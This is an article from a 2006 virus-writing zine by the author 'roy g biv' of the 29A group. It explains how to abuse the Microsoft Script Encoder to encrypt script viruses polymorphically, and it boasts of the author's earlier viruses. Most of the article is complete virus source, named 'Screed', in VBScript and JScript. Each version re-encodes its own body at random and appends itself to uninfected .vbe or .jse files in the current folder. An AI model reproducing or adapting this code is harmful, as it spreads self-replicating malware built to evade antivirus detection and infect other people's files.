Polymorphism using the
Microsoft Script Encoder
by roy g biv
                            Polymorphism using the
                           Microsoft Script Encoder
                               roy g biv / 29A

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped  out).   Author of world's first virus using Thread Local Storage  for
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication  (OU812), world's first Native executable virus (Chthon),  world's
first  virus  using process co-operation to prevent termination  (Gemini,  see
Virus  Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP  headers (JunkMail, see Virus Bulletin 11/02 for a description),  world's
first viruses that can convert any data files to infectable objects (Pretext),
world's  first  32/64-bit  parasitic  EPO .NET  virus  (Croissant,  see  Virus
Bulletin  11/04  for a description, but they call it Impanate), world's  first
virus  using  self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03  for  a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for  Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel
IA32  and  AMD  AMD64  (Shrug),  world's  first  viruses  that  infect  Office
applications  and  script  files  using the same  code  (Macaroni,  see  Virus
Bulletin  11/05  for  a description, but they call it Macar),  world's   first
viruses  that  can infect both VBS and JScript using the same code (ACDC,  see
Virus  Bulletin  11/05 for a description, but they call it Cada), and  world's
first IDA plugin virus.  Author of various retrovirus articles (eg see Vlad #7
for the strings that make your code invisible to TBScan).  Went to sleep for a
number  of years.  This is my fifth virus for VBScript and JScript.  They  are
the world's first viruses that use the Microsoft Script Encoder to dynamically
encrypt the virus body.


What is it?

I  got  this idea from the Virus Bulletin article about the  Microsoft  Script
Encoder.
(www.virusbtn.com/virusbulletin/archive/2006/01/vb200601/pdf)
That  article mentions the EncodeScriptFile method that no-one noticed before,
so  I  looked  at it, to see what it could do.  Amazingly, it can be  used  to
encode  any string that is passed to it.  It is even documented on Microsoft's
website!


How to use it?

The  EncodeScriptFile function is a method of the "Scripting.Encoder"  object.
To use it, just do this:

    set encoder = CreateObject("Scripting.Encoder")  'VBScript
    encoder = new ActiveXObject("Scripting.Encoder") //JScript

Then call encoder.EncodeScriptFile with the proper parameters.  There are four
parameters  to pass to that method.  They are the file extension (only certain
file types can be encoded), the string to encode, some optional flags, and the
language  to use (can be empty).  The encoded string is returned.  Here is  an
example of how to use it:

    message = "this is a test"
    to_encode = "WScript.echo(message)"
    encoded = encoder.EncodeScriptFile(".js", to_encode, 0, 0)

I use .JS as extension, because it is shortest, and works in VBScript, too.


How to make polymorphic?

Now  we have our first step, which allows us to encode anything we want.   The
next  step relies on the information from the article that I never thought  to
try before.  In fact, there are several things in that article that we use all
together.  One is that the script can appear anywhere in the file, not just at
the  start of the file.  Next is that not the whole file has to be encoded, so
we  can have some parts encoded and other parts not encoded, and it will still
work.  Finally is that multiple scripts can appear in the same file, so we can
have  lots of pieces of both encoded and not-encoded next to each other,  that
covers  the  whole body.  We can achieve that by calling the  EncodeScriptFile
method  multiple times and passing different parts of our body.  We can choose
random  amounts of the body to pass to the method.  Here is an example of that
in VBScript:

    randomize                                       'let's make it different every time
    e=1                                             'starting position
    while e<=len(b)                                 'process entire body
      f=int(rnd()*3)+1                              'get randomly 1-3 characters
      d=d+encoder.EncodeScriptFile(".js",mid(b,e,f),0,0)
                                                    'encode those characters and append
      g=int(rnd()*3)                                'get 0-2 characters
      d=left(d,len(d)-1)+mid(b,e+f,g)
                                                    'don't encode those characters and append
      e=e+f+g                                       'update count
    wend                                            'continue

Here is the same code in JScript:

    with(Math)
    {
      random(1)                                     //let's make it different every time
      f=0                                           //starting position
      while(f<b.length)                             //process entire body
      {
        e+=encoder.EncodeScriptFile(".js",b.substr(f,g=round(random()*3)+1),0,0)
                                                    //get randomly 1-3 characters, encode those characters, and append
        e=e.substr(0,e.length-1)+b.substr(f+=g,h=round(random()*3))
                                                    //get 0-2 characters, don't encode those characters
        f+=h                                        //update count and continue
      }
    }

That's  the easy part.  We still have to decide the source of what we want  to
encode.   Since we don't have any kind of DecodeStringFile method, we need  to
carry  our own source, and that is actually tricky.  The problem with that  is
because  we need to say "source=" followed by our source, and then to  execute
it,  but the encoded source must also begin with "source=", which can lead  to
an  infinite recursion if we try to do it in one pass.  It took me a long time
to  work  out how to do it, but eventually I got it.  I just had to build  the
string  in two passes.  The first pass is the ordinary source, and the  second
pass  prepends  the "source=" part.  Of course, the source cannot contain  any
quotation  marks in that case, so it is necessary to append some code to do  a
replacement at runtime.  Here is the code in VBScript, must be single line:

    a=chr(34)
    b="
       b=Ga=chr(34)                                 ''G' is replaced by '"' later
       b=G+a+b+a+G                                  'build self-referencing source
       execute(replace(b,chr(71),a))G               'replace 'G' with '"'
       c=Gscripting.G
       d=GG
       randomize                                    'let's make it different every time
       e=1                                          'starting position
       while e<=len(b)                              'process entire body
         f=int(rnd()*3)+1                           'get randomly 1-3 characters
         d=d+createobject(c+GencoderG).encodescriptfile(G.jsG,mid(b,e,f),0,0)
                                                    'encode those characters and append
         g=int(rnd()*3)                             'get 0-2 characters
         d=left(d,len(d)-1)+mid(b,e+f,g)            'don't encode those characters and append
         e=e+f+g                                    'update count
       wend                                         'continue
       on error resume next
       set e=createobject(c+GfilesystemobjectG)
       for each f in e.getfolder(G.G).files         'demo version, current directory only
         if lcase(e.getextensionname(f))=GvbeGthen  'only .vbe can contain encoded VBScripts
           g=f.attributes
           f.attributes=0
           if instr(e.opentextfile(f).readall,G#@~G)=0then e.opentextfile(f,8).write vbcrlf+d
                                                    'append if not infected aleady
           f.attributes=g
         end if
       next
       'Screed - roy g biv 02/03/06
      "
    execute(replace(b,"G",a))                       'first generation replacement

Here is the code in JScript, must be single line:
    a="\""
    b="
       b=Ga=String.fromCharCode(34)                 //'G' is replaced by '"' later
       b=G+a+b+a+G                                  //build self-referencing source
       eval(b.replace(new RegExp(String.fromCharCode(71),G+a+GgG+a+G),a))G
                                                    //replace 'G' with '"'
       c=ActiveXObject
       d=Gscripting.G
       e=GG
       with(Math)
       {
         random(1)                                  //let's make it different every time
         f=0                                        //starting position
         while(f<b.length)                          //process entire body
         {
           e+=new c(d+GencoderG).encodescriptfile(G.jsG,b.substr(f,g=round(random()*3)+1),0,0)
                                                    //get randomly 1-3 characters, encode those characters, and append
           e=e.substr(0,e.length-1)+b.substr(f+=g,h=round(random()*3))
                                                    //get 0-2 characters, don't encode those characters
           f+=h                                     //update count and continue
         }
       }
       f=new c(d+GfilesystemobjectG)
       with(new Enumerator(f.getfolder(G.G).files)) //demo version, current directory only
         for(;!atEnd();moveNext())
           if(f.getextensionname(g=item()).toLowerCase()==GjseG)
                                                    //only .jse can contain encoded VBScripts
             try
             {
               h=g.attributes
               g.attributes=0
               if(f.opentextfile(g).readall().search(/#@~/)<0)f.opentextfile(g,8).write(String.fromCharCode(10)+e)
                                                    //append if not infected aleady
               g.attributes=h
             }
             catch(z){}
       //Screed - roy g biv 02/03/06
      "
    eval(b.replace(/G/g,a))                         //first generation replacement



Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna -
VirusBuster - Whitehead


rgb/29A mar 2006
iam_rgb@hotmail.com